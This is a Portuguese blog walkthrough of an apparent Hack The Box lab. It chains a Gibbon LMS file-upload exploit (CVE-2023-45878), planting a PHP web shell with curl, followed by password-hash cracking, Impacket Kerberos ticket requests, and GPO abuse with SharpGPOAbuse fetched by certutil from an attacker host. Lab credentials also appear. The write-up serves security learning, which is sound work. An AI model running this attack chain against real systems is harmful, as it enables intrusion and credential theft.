CVE-2023-45878 - Arbitrary File Write, Impacket Ticket TGT e GPO Exploit
Gibbon Edu é uma aplicação para gerenciamento administrativo de processos de escolas e instituições de ensino.
A CVE-2023-45878 foi publicada para a vulnerabilidade Arbitraty File Write onde um atacante desautenticado pode fazer o upload de arquivos, resultando na execução remota de comandos. O arquivo para upload é uma imagem falsa que é processada como um arquivo PHP.
O módulo Rubrics possui o endpoint /modules/Rubrics/rubrics_visualise_saveAjax.php, o qual pode ser acessado sem autenticação. Esse recurso aceita POST com os seguintes parâmetros:
- img
- path
- gibbonPersonID
O parâmetro img recebe a imagem em Base64
O parâmetro path é onde o arquivo é armazenado
Conforme descrito neste artigo AQUI , a seguinte requisição é usada para exploar a vulnerabilidade:
No Burp Suite, a requisição não funcionou mas ao copiá-la para o comando CURL é possível executar o exploit corretamente.
RCE
Adicione Base64 ao código: <?php system($_GET["cmd"]); ?>
E faça a requisição para o servidor:
curl -X POST -H 'Host: frizzdc.frizz.htb' --data-binary 'img=image/png;rce,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K &path=rce.php&gibbonPersonID=0000000001' 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'
E o código é executando revelando o usuário que executa a aplicação Gibbon.
Shell Reversa
O servidor é Windows Server, então o código para a shell reversa deverá ser em PowerShell. Criei a shell no site revshells.com
Habilitei o listener na porta 443 e enviei a requisição com o código da shell em base64
Acesso ao servidor com sucesso.
O acesso é feito no diretório C:\xampp\htdocs\Gibbon-LMS onde o arquivo config.php possui credencial de acesso ao banco de dados da aplicação.
Acesso a base de dados
O executável mysql.exe pode ser usado para excutar comandos na base. Acesse o diretório: \xampp\mysql\bin e execute:
.\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW DATABASES;"
A tabela gibbonperson mostra a estrutura dos campos e revela os campos: passwordStrong e passwordStrongSalt onde provavelmente a senha é armazenada.
A senha do usuário f.frizzle é capturada, na verdade, a senha é armazenada como hash e o seu salt.
Usando a ferramenta hash-identifier, identifiquei que o hash possivelmente está no formato SHA256
Perguntei ao ChatGPT o formato para o arquivo hash para usar o hashcat.
O módulo do hashcat é 1420 (SHA256) e o formato é <hash_hex>:<salt>. No caso deste laboratório, o salt é armazenado da seguinte forma: /aACFhikmNopqrRTVz2489 Logo, a "barra" no incio deve ser mantida no arquivo salvo para usar no hashcat.
Senha descoberta por meio de força bruta usando a wordlist rockyou.txt
No SSH, o usuário f.frizzle não tem permissão de acesso, e também não tem acesso por SMB. Pesquisei técnicas para acessar o servidor e esse artigo descreve o uso do Impacket para obter ticket TGT.
Cenário: O servidor é um controlador de domínio, conforme observado no resultado do nmap scan. O serviço Kerberos localizado nas portas 88 e 464 informam que o servidor é um KDC - Key Distribution Center.
Impacket para obter TGT
O impacket tem o script getTGT para solicitar o servidor KDC um ticket kerberos para o usuário. De posse da credencial do usuário f.frizzle posso executar essa técnica:
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb
O arquivo f.frizzle.ccache é salvo.
A hora do servidor e da máquina Kali precisam estar sincronizados. Em seguida, crio uma variável apontando para o arquivo ccache.
A primeira tentativa falhou pois é necessário antes criar o arquivo kbr5.conf em /etc/
Etapas para obter ticket TGT com Impacket
[1] Cria o arquivo kbr5.conf no /etc/
[domain_realm] .frizz.htb = FRIZZ.HTB frizz.htb = FRIZZ.HTB [libdefaults] default_realm = FRIZZ.HTB dns_lookup_realm = false dns_lookup_kdc = true ticket_lifetime = 24h forwardable = true [realms] FRIZZ.HTB = { kdc = FRIZZDC.FRIZZ.HTB admin_server = FRIZZDC.FRIZZ.HTB default_domain = FRIZZ.HTB
Existem vários usuários no servidor.
Como o servidor é um controlador de domónio, tentei usar o BloodHound para mapear o caminho até a escalação de privilégio mas as credenciais coletadas até o momento não permitem a coleta de dados.
$Recycle.Bin (ou Recycler nas versões antigas) é onde os arquivos deletados são armazenados temporariamente, antes de serem removidos permanentemente do sistema.$Recycle.Bin, e dentro dele há subpastas para cada usuário, nomeadas com o SID (Security Identifier), como por exemplo: Em vez disso, ele:
-
Move o arquivo para a pasta
$Recycle.Bin; -
Renomeia o arquivo (com prefixo
$R); -
Cria um arquivo auxiliar (prefixo
$I) que guarda metadados sobre o arquivo original.
Ao examinar o conteúdo dessa pasta, você encontrará dois tipos principais de arquivos:
| Tipo | Exemplo de nome | Função |
|---|---|---|
$Rxxxxxxxx.ext | $R3A4F.tmp, $RBCDE.txt | É o arquivo original movido para a lixeira. Contém os dados reais do arquivo deletado. |
$Ixxxxxxxx.ext | $I3A4F.tmp, $IBCDE.txt | É o arquivo de informação (metadata). Guarda informações sobre o arquivo $R correspondente. |
Os dois têm o mesmo sufixo hexadecimal (ex: $I3A4F.tmp ↔ $R3A4F.tmp) para identificar que pertencem ao mesmo item.
O artigo do hellhandy disponibiliza dois scripts Powershell:
Busca por arquivos deletados no Recyble Bin e Restauração de arquivos:
$shell = New-Object -ComObject Shell.Application $recycleBin = $shell.Namespace(0xA) $recycleBin.items() | Select-Object Name, Path
Restaurar arquivos:
$recycleBin = (New-Object -ComObject Shell.Application).NameSpace(0xA) $items = $recycleBin.Items() $item = $items | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"} $documentsPath = [Environment]::GetFolderPath("Desktop") $documents = (New-Object -ComObject Shell.Application).NameSpace($documentsPath) $documents.MoveHere($item)
Como exportar o arquivo para a máquina Kali?
Use o SCP para expostar o arquivo: scp 'f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/wapt-backup-sunday.7z' wapt-backup-sunday.7z
Interessante é o grupo 'Desktop Admins'. Esse não é um grupo padrão do AD, então para ver as propriedades do grupo, usamos o comando:
Os membros do grupo 'Desktop Admins' tem permissão para gerenciar GPO na máquina (Group Policy Creator Owners).
Definição do que é GPO: Os GPOs (Políticas de Grupo) são conjuntos de configurações de políticas que se aplicam a vários computadores, usuários e grupos em um domínio do Active Directory.
SharpGPOAbuse
O SharpGPOAbuse é um aplicativo .NET escrito em C# que pode ser usado para explorar os direitos de edição de um usuário em um Objeto de Política de Grupo (GPO) a fim de comprometer os objetos controlados por essa GPO.
O executável da ferramenta pode ser baixado neste link
Para transferir o arquivo da máquina Kali para o servidor Windows, usei a ferramenta certutil:
certutil -urlcache -split -f http://10.10.14.6:8989/SharpGPOAbuse.exe C:\Users\M.SchoolBus\Desktop\SharpGPOAbuse.exe
GPO Exploit
A conta m.schoolbus tem permissão para gerenciar GPO na máquina, então a ideia é criar uma GPO e atribuir permissão administrativa.
New-GPO -name '[nome]'
Adicione a GPO ao domínio
New-GPLink -Name "teste" -target "DC=frizz,DC=htb"
Atualiza as políticas de GPO da máquina:
gpoupdate /force
Adiciona o usuário m.schoolbus como local admin da máquina:
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName teste --force
Executa o SharpGPOAbuse para criar uma shell-reversa com a máquina Kali. O mesmo código Powershell usado para acessar o servidor explorando a CVE-2023-45878 pode ser usado.
Neste ponto, tive que criar uma nova GPO, a qual chamei de 'teste-rev'
Acesso ao servidor com sucesso como Administrador local da máquina
Técnicas e ferramentas usadas:
- Explora a CVE-2023-45878
- Cria o código em Powershell para a shell-reversa com revshells.com
- Usa o executável mysql.exe para executar comandos na base de dados
- Captura o hash SHA2056 da senha e o Salt
- Cria um arquivo no formato <hex>:<salt>
- Usa hashcat para o brute-force
Usa o Impacket para solicitar ao servidor KDC ticket TGT usando a credencial da primeira conta "ownada"
[1] cria o arquivo krb5.conf no /etc
[2] solicita o ticket TGT com o Impacket
[3] cria uma variável com o export para o arquivo [nome].ccache
[4] executa o SSH usando o ticket kerberos (opção -K)
- Acessa o diretório Recycle Bin e recupera o arquivo Wapt
- Captura senha no arquivo waptserver.ini
- Solicita novamente ticket TGT para o novo usuário
- Identifica o grupo local 'Desktop Admins'
- Identifica que o grupo pode gerenciar GPO local
- Cria uma nova GPO
- Vincula a GPO com o domínio
- Adiciona o usuário como admin local com SharpGPOAbuse
- Atualiza as políticas de GPO da máquina
- Usa SharpGPOAbuse para executar uma shell-reversa com comando powershell e o código usado anteriormente.


Comentários
Postar um comentário